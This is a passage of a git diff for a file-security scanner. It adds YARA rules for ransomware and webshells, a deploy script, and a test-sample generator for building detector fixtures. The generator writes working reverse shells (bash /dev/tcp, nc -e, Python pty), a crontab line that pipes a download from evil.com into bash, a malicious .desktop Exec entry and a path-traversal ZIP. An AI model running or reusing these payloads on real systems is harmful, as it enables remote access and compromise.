组合 + 家族特征"才触发,单靠扩展名不触发 +// +// 元数据规范:同 webshell.yar / pe.yar(risk_level, category, false_positive_rate) +// ============================================================================= + + +// ============================================================================= +// C8-1 LockBit 家族 +// ============================================================================= + +rule C8_Ransomware_LockBit { + meta: + risk_level = "critical" + category = "C8" + false_positive_rate = "low" + reference = "LockBit / BitLocker 勒索家族" + description = "LockBit 家族特征:Mutex 名 + .lockbit3/.lockbit 扩展名 + CryptEncrypt" + strings: + $mutex1 = /Global\\[Ll]ock[Bb]it/ ascii + $mutex2 = /Local\\[Ll]ock[Bb]it/ ascii + $mutex3 = /LockBit[\d_]/ ascii nocase + $ext1 = /\.lockbit3?\b/ ascii nocase + $ext2 = /\.lckbt\b/ ascii nocase + $enc = /CryptEncrypt|BCryptEncrypt|CryptGenKey/ ascii + $ransomnote = /README[\d_-]*\.(html|txt|bmp|png|jpg|url)/ nocase + condition: + // Mutex + 加密 API(家族识别核心) + any of ($mutex*) and any of ($enc*) + or + // Mutex + 勒索扩展名 + any of ($mutex*) and any of ($ext*) + or + // 加密 API + 家族扩展名 + 勒索信 + any of ($enc*) and any of ($ext*) and $ransomnote +} + + +// ============================================================================= +// C8-2 BlackCat / ALPHV 家族 +// ============================================================================= + +rule C8_Ransomware_BlackCat { + meta: + risk_level = "critical" + category = "C8" + false_positive_rate = "low" + reference = "BlackCat (ALPHV) 勒索家族" + description = "BlackCat/ALPHV:Mutex + .blackcat/.bc1 扩展名 + Rust 字符串特征" + strings: + $mutex1 = /Global\\[Bb]lack[Cc]at/ ascii + $mutex2 = /[Aa][Ll][Pp][Hh][Vv]/ ascii + $ext1 = /\.blackcat\b/ ascii nocase + $ext2 = /\.bc1?\b/ ascii nocase + $rust1 = "rustc" ascii + $rust2 = "/rustc/" ascii + $enc = /CryptEncrypt|BCryptEncrypt/ ascii + $note = /BlackCat.*README|how_to_decrypt|restore_files/ ascii nocase + condition: + any of ($mutex1, $mutex2) and any of ($enc*, $ext*) + or + any of ($ext*) and any of ($rust*) and $note +} + + +// ============================================================================= +// C8-3 Conti 家族 +// ============================================================================= + +rule C8_Ransomware_Conti { + meta: + risk_level = "critical" + category = "C8" + false_positive_rate = "low" + reference = "Conti 勒索家族" + description = "Conti:Mutex + .conti 扩展名 + 加密 API" + strings: + $mutex1 = /Global\\[Cc]onti/ ascii + $mutex2 = /Local\\[Cc]onti/ ascii + $ext1 = /\.conti\b/ ascii nocase + $enc = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii + condition: + any of ($mutex*) and any of ($enc*, $ext*) + or + any of ($ext*) and any of ($enc*) +} + + +// ============================================================================= +// C8-4 Ryuk / Pseudo / Dharma 家族 +// ============================================================================= + +rule C8_Ransomware_Ryuk_Pseudo { + meta: + risk_level = "high" + category = "C8" + false_positive_rate = "medium" + reference = "Ryuk / Pseudo / Dharma 勒索家族" + description = "Ryuk/Pseudo: RyukTask Mutex + 加密 API + .ryk/.pseudo 扩展名" + strings: + $mutex_ryuk = /RyukTask[\d]/ ascii + $mutex_pseudo = /Global\\[Pp]seudo/ ascii + $mutex_dharma = /Global\\[Dd]harma/ ascii + $ext_ryk = /\.ryk\b/ ascii nocase + $ext_pseudo = /\.pseudo\b/ ascii nocase + $ext_dharma = /\.dharma\b/ ascii nocase + $enc = /CryptEncrypt|CryptDeriveKey/ ascii + condition: + (any of ($mutex_ryuk, $mutex_pseudo, $mutex_dharma)) + and (any of ($enc*, $ext_ryk, $ext_pseudo, $ext_dharma)) +} + + +// ============================================================================= +// C8-5 勒索信文件名模式(独立规则,辅助 family 识别) +// ============================================================================= + +rule C8_Ransomware_Note_Filename { + meta: + risk_level = "medium" + category = "C8" + false_positive_rate = "medium" + reference = "勒索信文件名通用模式" + description = "勒索信典型文件名变体(匹配后触发需要配合加密 API 才升级高危)" + strings: + $n1 = /HOW_TO_RECOVER[\w.-]*\.(txt|html|png|bmp|jpg|url|vbs|js)/ nocase + $n2 = /RESTORE_FILES[\w.-]*\.(txt|html|png|bmp|jpg|url|vbs|js)/ nocase + $n3 = /DECRYPT_INSTRUCTIONS[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase + $n4 = /README[_\s-]*[\d]*[_\s-]*[\w]*\.(txt|html|png|bmp|jpg|url)/ nocase + $n5 = /HELP_DECRYPT[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase + $n6 = /_readme[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase + $n7 = /_restore[\w.-]*\.(txt|html|png|bmp|jpg|url)/ nocase + $bitcoin = /bitcoin address|BTC\b|monero address|XMR\b|send money|ransom|payment/ nocase + $wallet = /1[A-Za-z0-9]{25,34}|bc1[A-Za-z0-9]{11,71}|4[0-9A-Za-z]{32}/ nocase + $encapi = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii + condition: + // 勒索信文件名 + 加密 API = 明确勒索 + any of ($n*) and $encapi + or + // 勒索信文件名 + 比特币/XMR 地址 = 大概率勒索 + any of ($n*) and any of ($bitcoin, $wallet) +} + + +// ============================================================================= +// C8-6 加密文件扩展名黑名单(不单独触发,配合加密 API) +// ============================================================================= + +rule C8_Ransomware_Extension_Blacklist { + meta: + risk_level = "low" + category = "C8" + false_positive_rate = "medium" + reference = "勒索加密文件扩展名模式" + description = "常见勒索加密扩展名(.locky/.zepto/.cryptolocker/.encrypted/.virus/.tor/.crpt 等)+ 加密 API" + strings: + $ext1 = /\.locky\b/ nocase + $ext2 = /\.zepto\b/ nocase + $ext3 = /\.cryptolocker\b/ nocase + $ext4 = /\.cryptor\b/ nocase + $ext5 = /\.crypt\b/ nocase + $ext6 = /\.encrypted\b/ nocase + $ext7 = /\.virus\b/ nocase + $ext8 = /\.tor\b/ nocase + $ext9 = /\.crpt\b/ nocase + $ext10 = /\.wallet\b/ nocase + $ext11 = /\.pay2[\w.-]*\.?\w*\b/ nocase + $enc = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii + $note = /HOW_TO_RECOVER|RESTORE_FILES|DECRYPT_INSTRUCTIONS|README/ nocase + condition: + // 扩展名 + 加密 API + 勒索信 = 完整勒索链 + any of ($ext*) and $enc and $note + or + // 扩展名 + 加密 API(至少 2 种扩展名变体) + (2 of ($ext*)) and $enc +} + + +// ============================================================================= +// C8-7 卷影删除专项(辅助勒索前置) +// ============================================================================= + +rule C8_Ransomware_VolumeShadow { + meta: + risk_level = "high" + category = "C8" + false_positive_rate = "medium" + reference = "MITRE ATT&CK T1490 Inhibit System Recovery" + description = "删除卷影副本:vssadmin / wmic shadowcopy + 加密 API" + strings: + $vss1 = "vssadmin delete shadows" ascii + $vss2 = /vssadmin\s+delete\s+shadows\s+\/all\b/ ascii + $wmic1 = /wmic\s+shadowcopy\s+delete/ ascii + $wmic2 = /wmic\s+shadowcopy\s+where\s+\d+/ ascii + $vss3 = /ShadowCopy|VolumeShadowCopy|vss\b/i ascii // "i" flag = nocase in YARA + $enc = /CryptEncrypt|BCryptEncrypt|CryptDeriveKey/ ascii + condition: + // 卷影删除 + 加密 API = 完整勒索前置 + (any of ($vss1, $vss2, $wmic*, $vss3)) and any of ($enc*) + or + // 连续多次 vssadmin delete = 正在清卷影 + any of ($vss1, $vss2) and any of ($wmic*) +} diff --git a/rules/webshell.yar b/rules/webshell.yar new file mode 100644 index 0000000..ce68fc4 --- /dev/null +++ b/rules/webshell.yar @@ -0,0 +1,345 @@ +// ============================================================================= +// MeshSafe L2B YARA 规则集 — Webshell 专项(C3) +// ============================================================================= +// +// 设计原则: +// - 所有规则使用 2-3 个特征组合命中,避免单一关键词导致误杀 +// - 光闸场景误报代价极高(阻断合法文件传输),宁可漏报不轻易阻断 +// - 命中后作为 finding 交给 PolicyEngine 权重累加,不直接零容忍 +// +// 元数据规范: +// risk_level = critical | high | medium | low +// category = "C3" +// false_positive_rate = low | medium | high +// +// 维护: +// - 新 Webshell 工具/变体出现时,优先新增"工具特征"组合规则 +// - 纯 PHP/JSP 反序列化 payload 单特征也可能有价值,但组合原则仍适用 +// ============================================================================= + + +// ============================================================================= +// PHP Webshell —— 一行马 / 变形马 +// ============================================================================= + +// PHP 一行 eval($_POST) 组合(常见的菜刀/蚁剑/冰蝎基础形态) +// 单一 eval + $_GET/$_POST 误伤太大,必须"动态执行入口 + 用户输入 + 输出回显"三点组合 +rule C3_PHP_Webshell_Oneliner { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "OWASP Web Shell Cheat Sheet" + description = "PHP 一行 Webshell:eval + 超全局变量 + 输出回显 组合命中" + strings: + $entrypoint = /eval\s*\(\s*\$\s*_(GET|POST|REQUEST|COOKIE)\s*\[.+\]\s*\)/ ascii + // 备选入口:assert / create_function / preg_replace / system + $entryp2 = /assert\s*\(\s*\$\s*_(GET|POST|REQUEST)/ ascii + $entryp3 = /create_function\s*\(\s*['"]['"]\s*,\s*\$\s*_(GET|POST|REQUEST)/ ascii + // 回显手段:print / echo / var_dump / die + $echo = /print|echo|var_dump|die/ ascii + condition: + ($entrypoint or $entryp2 or $entryp3) and $echo +} + +// PHP Webshell —— 多层解码(base64 + gzinflate + str_rot13) +rule C3_PHP_Webshell_Obfuscated { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "medium" + reference = "典型 Webshell 变形手段" + description = "PHP 解码链组合(base64_decode + gzinflate / str_rot13 + eval)" + strings: + $b64 = "base64_decode" ascii wide + $eval = "eval(" ascii wide + $gzinflate = "gzinflate" ascii wide + $rot13 = "str_rot13" ascii wide + $assert = "assert(" ascii wide + $createfn = "create_function" ascii wide + condition: + // base64_decode + (eval|assert|create_function) = 解码后动态执行 + $b64 and ($eval or $assert or $createfn) + or + // 解码链:base64 + gzinflate / str_rot13 + 执行 + $b64 and ($gzinflate or $rot13) and ($eval or $assert) +} + +// PHP Webshell —— 变量变形($$a = $_POST['cmd'];$$a($_POST['arg'])) +rule C3_PHP_Webshell_VariableDeformation { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "medium" + reference = "PHP 变量变形 Webshell 特征" + description = "PHP 可变变量组合:$$ 或 ${$ 配合超全局变量" + strings: + $doubledollar = /\$\$\w+\s*=\s*\$\s*_(GET|POST|REQUEST)/ ascii + $curlyvar = /\$\{\$\w+\}\s*\(/ ascii + $superglobal = /\$_/ ascii + $invoke = /\$\$\w+\s*\(/ ascii + condition: + ($doubledollar or ($curlyvar and $invoke)) and $superglobal +} + + +// ============================================================================= +// JSP / Java Webshell —— 反射执行 + 反序列化 +// ============================================================================= + +// JSP Runtime.exec + ProcessBuilder 反射执行链 +rule C3_JSP_Webshell_RuntimeExec { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "https://blog.csdn.net/JavaWebshell" + description = "JSP 通过 Runtime.exec / ProcessBuilder 执行命令,配合反射 / 密码变量(cmd/pass/pwd)" + strings: + $runtime = "Runtime.getRuntime()" ascii + $exec = ".exec(" ascii + $processbuilder = "ProcessBuilder" ascii + $cmdparam = /(cmd|pass|pwd|exec|shell)\s*=/ ascii + $reflection = /Class\.forName|getMethod|getDeclaredMethod|Method\.invoke/ ascii + $requestparam = /request\.getParameter\s*\(\s*['"](cmd|pass|pwd|exec|shell)['"]/ ascii + $printwriter = /PrintWriter|getWriter|out\.println/ ascii + condition: + // Runtime.exec + 命令参数名 + 回显 = 完整 Webshell + $runtime and $exec and ($requestparam or $printwriter) + or + // ProcessBuilder + 命令参数名 + $processbuilder and ($cmdparam or $requestparam) + or + // 反射链 + getRuntime().exec + $runtime and $exec and any of ($reflection*) +} + +// JSP 反序列化 CommonsCollections / ysoerial +rule C3_JSP_Webshell_Deserialization { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "https://github.com/frohoff/ysoserial" + description = "Java 反序列化利用链:CommonsCollections / Gadgets / InvokerTransformer" + strings: + $icc = "InvokerTransformer" ascii wide + $lzy = "LazyMap" ascii wide + $trn = "TransformerFactory" ascii wide + $ccimpl = "TemplatesImpl" ascii wide + $gadget = "CommonsCollections" ascii wide + $readobj = /readObject\s*\(/ ascii wide + $objectinputstream = "ObjectInputStream" ascii wide + $execchain = /getRuntime\(\)\.exec|ProcessBuilder/ ascii wide + condition: + // 反序列化链:readObject + InvokerTransformer / LazyMap / TemplatesImpl + Runtime.exec + $readobj and ($icc or $lzy or $trn or $ccimpl or $gadget) and any of ($execchain*) + or + // 直接 ObjectInputStream + 已知 Gadget + $objectinputstream and ($icc or $ccimpl or $gadget) +} + +// JSP Servlet Filter / Listener 注入型内存马 +rule C3_JSP_Webshell_MemoryShell { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "medium" + reference = "Tomcat / JBoss 内存马分析" + description = "JSP 动态注册 Filter / Listener / Valve 实现内存 Webshell" + strings: + $filterdef = "FilterDef" ascii + $applicationfilter = "ApplicationFilterConfig" ascii + $addfilter = /addFilterDef|addFilterMap|addListener/ ascii + $servletcontext = /ServletContext|getServletContext/ ascii + $filter = "implements Filter" ascii + $listener = /implements\s+(HttpSession|Servlet|Request)Listener/ ascii + $standardctx = "StandardContext" ascii + // 命令执行特征 + $runtime = "Runtime.getRuntime()" ascii + $execchain = /getRuntime\(\)\.exec|ProcessBuilder/ ascii wide + condition: + // 动态 Filter 注册链:StandardContext + addFilterDef + FilterDef + ApplicationFilterConfig + $standardctx and $addfilter and $filterdef and $applicationfilter + or + // Listener 注册链:ServletContext + Listener interface + addListener + $servletcontext and $listener and any of ($addfilter) + or + // Filter 接口 + 命令执行(反射/内联) + $filter and ($runtime or $execchain) +} + + +// ============================================================================= +// 冰蝎 / 哥斯拉 / 蚁剑 —— 工具专属特征 +// ============================================================================= + +// 冰蝎(Behinder)—— AES 加密通道 + 固定类名特征 +rule C3_Webshell_Behinder { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "https://github.com/rebeyond/Behinder" + description = "冰蝎 Webshell 特征:AES/CBC/PKCS5Padding 或反射解密" + strings: + $aes = /AES\s*\/?\s*CBC\s*\/?\s*PKCS5Padding|AES\/CBC\/PKCS5Padding/ ascii wide + $cipherget = "Cipher.getInstance" ascii wide + $doFinal = /\.doFinal\s*\(/ ascii wide + $secret = /secretKey|SecretKeySpec|PasswordKey/ ascii wide + $toolname = /Behinder|behinder|冰蝎/ ascii wide nocase + // JSP 命令执行特征 + $execchain1 = /getRuntime\(\)\.exec/ ascii wide + $execchain2 = "ProcessBuilder" ascii wide + // PHP 执行特征 + $phpdecrypt = "openssl_decrypt" ascii + $phpb64 = "base64_decode" ascii + $phpeval = "eval(" ascii + $phpassert = "assert(" ascii + condition: + // 冰蝎 JSP:AES 加密解密 + secretKey + Runtime.exec + $cipherget and $aes and $doFinal and $secret and any of ($execchain*) + or + // 冰蝎 PHP:openssl_encrypt + base64 + eval/assert + $phpdecrypt and $phpb64 and ($phpeval or $phpassert) + or + // 直接工具名(极低概率误报) + $toolname +} + +// 哥斯拉(Godzilla)—— 加密通信 + 动态字节码加载 +rule C3_Webshell_Godzilla { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "https://github.com/whale1017/godzilla" + description = "哥斯拉 Webshell 特征:ASM 字节码生成 + ClassLoader 动态加载" + strings: + $asm = "org.objectweb.asm" ascii wide + $classloader = /defineClass|ClassLoader|loadClass/ ascii wide + $bytes = /toByteArray|writeByteArray/ ascii wide + $reflect = /setAccessible|getDeclaredMethod/ ascii wide + $deserialize = "deserialize" ascii wide + $toolname = /Godzilla|godzilla|哥斯拉/ ascii wide nocase + condition: + // ASM 字节码 + ClassLoader.defineClass = 动态加载 + $asm and ($classloader or $bytes) and any of ($reflect*) + or + // 反序列化 + ClassLoader + $deserialize and $classloader + or + $toolname +} + +// 蚁剑(AntSword)—— 基础 eval + 加密通信 + 自定义 Header +rule C3_Webshell_AntSword { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "medium" + reference = "https://github.com/AntSwordProject/AntSword-Labs" + description = "蚁剑 Webshell 特征:assert + 特定请求参数加密 + 自定义 HTTP 头" + strings: + $phpassert = /assert\s*\(\s*\$\s*_(GET|POST|REQUEST)/ ascii + $phpcipher = /openssl_(encrypt|decrypt)|mcrypt_(encrypt|decrypt)/ ascii + $header = /X-Request-Id|AntSword|antsword/ ascii + $jspcipher = /AES|DES|RSA|Cipher/ ascii wide + condition: + // PHP:assert + openssl/mcrypt + 蚁剑特征 header + $phpassert and $phpcipher and $header + or + // JSP:加密算法 + 特征 header(可能是蚁剑 JSP 变体) + any of ($jspcipher) and $header +} + + +// ============================================================================= +// ASP / ASP.NET Webshell +// ============================================================================= + +// ASP.NET Eval / Execute + Server.CreateObject("Wscript.Shell") +rule C3_Webshell_ASPNET { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "low" + reference = "ASP.NET Webshell 常见手法" + description = "ASP.NET Webshell:Eval/Execute + Server.CreateObject/Wscript.Shell + Process.Start" + strings: + $eval = /\bEval\s*\(\s*Request\s*\(/ ascii wide + $execute = /\bExecute\s*\(\s*Request\s*\(/ ascii wide + $wscript = /Server\.CreateObject\s*\(\s*["']Wscript\.Shell["']\s*\)/ ascii wide + $processstart = /Process\.Start|Diagnostics\.Process/ ascii wide + $reflect = /Activator\.CreateInstance|Assembly\.Load|BinaryFormatter/ ascii wide + condition: + // Eval + 动态执行 + ($eval or $execute) and ($wscript or $processstart or any of ($reflect*)) + or + // Wscript.Shell + Process.Start + $wscript and $processstart + or + // BinaryFormatter 反序列化 + 命令执行 + any of ($reflect*) and $processstart +} + + +// ============================================================================= +// ASP Classic (VBScript) +// ============================================================================= + +rule C3_Webshell_ASP_Classic { + meta: + risk_level = "high" + category = "C3" + false_positive_rate = "medium" + reference = "ASP Classic Webshell" + description = "ASP Classic (VBScript) Webshell:Execute + Wscript.Shell + Request" + strings: + $execute = /\bExecute\s*\(\s*Request\s*\(/ ascii + $wscript = "WScript.Shell" ascii + $shellrun = /\.Run\s*\(\s*["']cmd/ ascii + $servercreate = "Server.CreateObject" ascii + $request = "Request(" ascii + condition: + // Execute + Request 取参 + $execute and $request + or + // Server.CreateObject(WScript.Shell) + cmd Run + $servercreate and $wscript and $shellrun +} + + +// ============================================================================= +// 通用:所有 Webshell 类(PHP/JSP/ASP)的 ProcessBuilder + 输出回显 +// ============================================================================= + +rule C3_Webshell_CommandExecutionEcho { + meta: + risk_level = "critical" + category = "C3" + false_positive_rate = "low" + reference = "综合 Webshell 命令执行链" + description = "任何语言的 Webshell:命令执行 + 输出回显(三特征同时命中)" + strings: + $exec_php = /(system|exec|passthru|shell_exec|popen|proc_open)\s*\(\s*\$\s*_(GET|POST|REQUEST)/ ascii + $exec_java = /Runtime\.getRuntime\(\)\.exec|ProcessBuilder/ ascii + $exec_asp = /\.Run\s*\(\s*["']cmd|Process\.Start/ ascii + // 回显通道 + $echo_php = /echo|print|passthru/ ascii + $echo_java = /getWriter|getOutputStream|PrintWriter|out\.println|response\.getWriter/ ascii + $echo_asp = /Response\.Write|output\.Write/ ascii + // 参数来源(外部可控) + $param_java = /request\.getParameter|HttpServletRequest|getParameter/ ascii wide + $param_php = /\$_(GET|POST|REQUEST)\s*\[/ ascii + $param_asp = /Request\("|\bRequest\(/ ascii + condition: + // PHP 路径 + $exec_php and $echo_php and $param_php + or + // Java/JSP 路径 + $exec_java and any of ($echo_java*) and any of ($param_java*) + or + // ASP 路径 + $exec_asp and $echo_asp and ($param_php or $param_asp) +} diff --git a/scripts/deploy_prod.sh b/scripts/deploy_prod.sh new file mode 100644 index 0000000..ffafe06 --- /dev/null +++ b/scripts/deploy_prod.sh @@ -0,0 +1,144 @@ +#!/usr/bin/env bash +# ============================================================================= +# MeshSafe 生产一键部署脚本(Debian/Ubuntu/CentOS,需已装好 Docker + docker compose) +# ============================================================================= +# +# 用法: +# bash scripts/deploy_prod.sh # 首次部署(自动建目录 + 起全部服务 + 建表 + 起 Nginx) +# bash scripts/deploy_prod.sh rebuild # 改了 app/ 代码后重建 api 镜像 + 重启 +# bash scripts/deploy_prod.sh stop # 全部停掉 +# bash scripts/deploy_prod.sh restart # 全部重启 +# bash scripts/deploy_prod.sh status # 看各服务状态 +# bash scripts/deploy_prod.sh logs api # 看 api 日志 +# +# 前提: +# 1. 已装 Docker ≥ 24 + docker compose v2 +# 2. .env 文件已准备好(或用 .env.example 复制后填必填项) +# 3. 有外网权限(拉镜像 + pip install)—— 无外网的话 ClamAV 签名库走光闸离线导入 +# ============================================================================= +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +PROJECT_DIR="$(cd "$SCRIPT_DIR/.." && pwd)" +cd "$PROJECT_DIR" + +RED='\033[0;31m' +GRN='\033[0;32m' +YEL='\033[1;33m' +NC='\033[0m' +log() { echo -e "${GRN}[meshsafe]${NC} $*"; } +warn() { echo -e "${YEL}[meshsafe]${NC} ⚠️ $*"; } +err() { echo -e "${RED}[meshsafe]${NC} ✗ $*"; exit 1; } + +# ---------- 子命令 ---------- +ACTION="${1:-deploy}" + +case "$ACTION" in + status) + docker compose ps + echo + for svc in postgres redis clamav api nginx; do + echo -n "$svc: " + docker inspect --format '{{.State.Health.Status}}' meshsafe-$svc 2>/dev/null \ + || echo "未运行" + done + exit 0 + ;; + stop) + log "停止所有服务..." + docker compose down + log "✓ 已停止" + exit 0 + ;; + restart) + log "重启所有服务..." + docker compose down + docker compose up -d + sleep 3 + docker compose ps + exit 0 + ;; + logs) + svc="${2:-api}" + docker compose logs -f --tail 100 "$svc" + exit 0 + ;; + rebuild) + log "重建 api 镜像并重启..." + docker compose build api + docker compose up -d api + log "✓ 重建完成" + exit 0 + ;; + deploy) + log "首次部署 MeshSafe" + ;; + *) + err "未知子命令: $ACTION 可用: deploy|rebuild|restart|stop|status|logs" + ;; +esac + +# ---------- 前置检查 ---------- +command -v docker >/dev/null 2>&1 || err "未检测到 docker" +docker compose version >/dev/null 2>&1 || err "未检测到 docker compose v2" +[ -f docker-compose.yml ] || err "当前目录没有 docker-compose.yml" +[ -f .env ] || { warn "没找到 .env,从 .env.example 复制一个"; cp .env.example .env; } + +# ---------- 准备目录 ---------- +log "准备数据目录..." +mkdir -p data/{postgres,redis,clamav,logs,temp} +chmod -R 755 data +warn "PostgreSQL 数据目录权限首次启动会自动 chown" + +# ---------- 起基础设施 ---------- +log "起 postgres + redis..." +docker compose up -d postgres redis +sleep 5 + +# ---------- 起 ClamAV ---------- +log "起 clamav(首次启动尝试 freshclam,内网会静默降级)..." +docker compose up -d clamav +sleep 3 + +# ---------- 起 API ---------- +log "构建 + 起 api..." +docker compose up -d --build api +sleep 3 + +# ---------- 建表 + 管理员 + 初始策略 ---------- +log "建表 + admin + 初始策略..." +docker compose exec api python scripts/init_db.py + +# ---------- 起 Nginx ---------- +log "起 nginx..." +docker compose up -d nginx +sleep 2 + +# ---------- 健康检查 ---------- +log "健康检查..." +HTTP_OK=0 +for i in $(seq 1 10); do + if curl -sf http://localhost:8443/api/v1/health >/dev/null 2>&1; then + HTTP_OK=1 + break + fi + sleep 2 +done + +echo +echo "============================================" +if [ "$HTTP_OK" -eq 1 ]; then + log "✅ 部署成功!" + echo + echo " 控制台: http://$(hostname -I | awk '{print $1}'):44380/console/login" + echo " 用户名: admin" + echo " 密码: ${MESHSAFE_ADMIN_PASSWORD:-admin123_change_me}" + echo + echo " 健康检查: http://$(hostname -I | awk '{print $1}'):44380/health" + echo "============================================" +else + warn "⚠️ API 还没就绪,等一会再查: docker compose logs api" + echo + echo " 查看状态: bash scripts/deploy_prod.sh status" + echo " 查看日志: bash scripts/deploy_prod.sh logs api" +fi diff --git a/scripts/generate_test_samples.py b/scripts/generate_test_samples.py new file mode 100644 index 0000000..1339489 --- /dev/null +++ b/scripts/generate_test_samples.py @@ -0,0 +1,1213 @@ +#!/usr/bin/env python3 +"""MeshSafe 测试样本生成器。 + +用法: + python scripts/generate_test_samples.py + +输出: + tests/samples/ # 20+ 个测试文件(纯文本 + 合法容器 + 危险特征) + tests/samples/index.json # 元数据:每个样本的 expected_verdict + expected_rules + +设计原则: + 1. **不生成真实可执行恶意代码** —— 只构造合法容器 + 危险特征字符串 + 2. **每个样本尽量命中一个检测点** —— 便于定位哪个引擎没工作 + 3. **含阴性对照** —— 正常 docx/pdf/txt 应 verdict=pass、score=0 + 4. **覆盖 L0 结构层、L1 ClamAV/YARA/documents、L2 关键词** +""" +from __future__ import annotations + +import json +import os +import struct +import zipfile +from pathlib import Path +from typing import Any, Dict, List + +SAMPLES_DIR = Path(__file__).resolve().parent.parent / "tests" / "samples" +META_LIST: List[Dict[str, Any]] = [] + + +def ensure_dir() -> None: + SAMPLES_DIR.mkdir(parents=True, exist_ok=True) + for f in SAMPLES_DIR.iterdir(): + if f.is_file(): + f.unlink() + + +def write(name: str, data: bytes | str, meta: Dict[str, Any]) -> None: + path = SAMPLES_DIR / name + if isinstance(data, str): + data = data.encode("utf-8") + path.write_bytes(data) + meta.update({"filename": name, "size": len(data)}) + META_LIST.append(meta) + + +# ============================================================================= +# 1. PHP / JSP / ASP.NET Webshell(YARA C3 + documents.py) +# ============================================================================= + +def php_webshell_oneliner() -> None: + write( + "shell_php_eval.php", + '', + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": ["C3_PHP_Webshell_Oneliner"], + "description": "PHP oneliner eval + echo 组合", + }, + ) + + +def php_webshell_obfuscated() -> None: + write( + "shell_php_obf.php", + '', + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": ["C3_PHP_Webshell_Obfuscated"], + "description": "PHP base64 + assert 混淆", + }, + ) + + +def jsp_webshell_runtime() -> None: + write( + "shell_jsp_runtime.jsp", + """<%@ page import="java.io.*" %> +<% + Runtime rt = Runtime.getRuntime(); + Process p = rt.exec(request.getParameter("cmd")); + InputStreamReader isr = new InputStreamReader(p.getInputStream()); + BufferedReader br = new BufferedReader(isr); + String line; + while ((line = br.readLine()) != null) out.println(line); +%>""", + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": ["C3_JSP_Webshell_RuntimeExec"], + "description": "JSP Runtime.getRuntime().exec 命令执行", + }, + ) + + +def aspnet_webshell() -> None: + write( + "shell_aspx.aspx", + """<%@ Page Language="C#" %> +""", + { + "category": "Webshell", + "expected_verdict": "reject", + "expected_rules": ["C3_Webshell_ASPNET"], + "description": "ASP.NET Process.Start 命令执行", + }, + ) + + +# ============================================================================= +# 2. Shell 反弹 Shell(L0 ShellScriptDangerous + YARA C7) +# ============================================================================= + +def bash_reverse_devtcp() -> None: + write( + "shell_bash_devtcp.sh", + """#!/bin/bash +bash -i >& /dev/tcp/10.0.0.5/4444 0>&1 +""", + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_Bash"], + "description": "bash -i + /dev/tcp IP:PORT 反弹 Shell", + }, + ) + + +def nc_reverse_shell() -> None: + write( + "shell_nc.sh", + """#!/bin/bash +nc 10.0.0.5 4444 -e /bin/bash +""", + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_NC"], + "description": "nc -e /bin/bash 反弹 Shell", + }, + ) + + +def python_reverse_pty() -> None: + write( + "shell_python.py", + """import socket, pty, subprocess, os +s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +s.connect(("10.0.0.5", 4444)) +os.dup2(s.fileno(), 0) +os.dup2(s.fileno(), 1) +os.dup2(s.fileno(), 2) +pty.spawn("/bin/bash") +""", + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": ["ShellScriptDangerous", "C7_Linux_ReverseShell_Python"], + "description": "Python pty + socket 反弹 Shell", + }, + ) + + +def crontab_persistence() -> None: + write( + "persist_cron.sh", + """#!/bin/bash +(crontab -l ; echo "* * * * * curl http://evil.com/dropper.sh | bash") | crontab - +""", + { + "category": "持久化", + "expected_verdict": "reject", + "expected_rules": ["C7_Linux_Persistence_Crontab"], + "description": "crontab 注入 wget/curl 下载执行", + }, + ) + + +# ============================================================================= +# 3. ELF + .desktop 恶意 Exec(L0 LinuxExecutable + DesktopFileAutoExec) +# ============================================================================= + +def fake_elf_binary() -> None: + # 合法 ELF 4 字节魔数 + 反弹 Shell 字符串(YARA 不扫 ELF 内容,structure.py 扫魔数) + elf_header = b"\x7fELF" + b"\x02\x01\x01" + b"\x00" * 8 # 最小 ELF64 header 开头 + evil_str = b"\nbash -i >& /dev/tcp/10.0.0.5/4444 0>&1\n" + write( + "linux_malicious", + elf_header + b"\x00" * 16 + evil_str, + { + "category": "Linux可执行", + "expected_verdict": "reject", + "expected_rules": ["LinuxExecutable"], + "description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件", + }, + ) + + +def desktop_autoexec() -> None: + write( + "malicious.desktop", + """[Desktop Entry] +Type=Application +Name=Update +Exec=bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' +Terminal=false +""", + { + "category": "Linux后门", + "expected_verdict": "reject", + "expected_rules": ["DesktopFileAutoExec"], + "description": ".desktop 文件恶意 Exec 字段", + }, + ) + + +# ============================================================================= +# 4. ZIP 路径穿越(L0 PathTraversal)+ 双扩展名伪装 + 畸形文件 +# ============================================================================= + +def zip_path_traversal() -> None: + buf = __import__("io").BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + zf.writestr("../../etc/passwd", "hacked:x:0:0:root:/root:/bin/bash\n") + write( + "zip_traversal.zip", + buf.getvalue(), + { + "category": "攻击载体", + "expected_verdict": "reject", + "expected_rules": ["PathTraversal"], + "description": "ZIP 内部成员名 ../../etc/passwd 路径穿越", + }, + ) + + +def double_ext_php_jpg() -> None: + # 双扩展名:看起来是 jpg 实际是 php + write( + "photo.jpg.php", + '', + { + "category": "伪装", + 